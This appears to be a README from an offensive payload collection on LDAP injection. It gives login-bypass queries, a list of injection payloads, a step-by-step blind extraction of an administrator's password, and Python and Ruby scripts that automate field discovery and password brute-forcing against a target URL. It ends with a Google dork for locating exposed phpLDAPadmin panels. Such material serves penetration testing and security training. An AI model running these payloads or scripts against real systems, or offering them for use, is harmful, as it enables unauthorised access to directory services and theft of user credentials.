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README.md
LDAP injection
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
Exploitation
Example 1.
user = *)(uid=*))(|(uid=*
pass = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
Example 2
user = admin)(!(&(1=0
pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
Payloads
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
Blind Exploitation
We can extract using a bypass login
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
(&(sn=administrator)(password=MY*)) : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
Defaults attributes
Can be used in an injection like *)(ATTRIBUTE_HERE=*
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName
Exploiting userPassword attribute
userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
Scripts
Discover valid LDAP fields
#!/usr/bin/python3
import requests
import string
fields = []
url = 'https://URL.com/'
f = open('dic', 'r') #Open the wordlists of common attributes
wordl = f.read().split('\n')
f.close()
for i in wordl:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text:
fields.append(str(i))
print(fields)
Ref. 5
Special Blind LDAP Injection (without "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Ref. 5
#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = ''
(0..50).each do |i|
puts("[i] Looking for number #{i}")
alphabet.each do |char|
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
if /TRUE CONDITION/.match?(r)
flag += char
puts("[+] Flag: #{flag}")
break
end
end
end
By noraj
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
Ref. 5
References
Injection:
- OWASP LDAP Injection
- LDAP Blind Explorer
- ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN
- Quals ECW 2018 - Maki
-
5] [LDAP Injection - HackTricks][5]
Normal use:
- How To Manage and Use LDAP Servers with OpenLDAP Utilities
- How To Configure OpenLDAP and Perform Administrative LDAP Tasks
- SSH key authentication via LDAP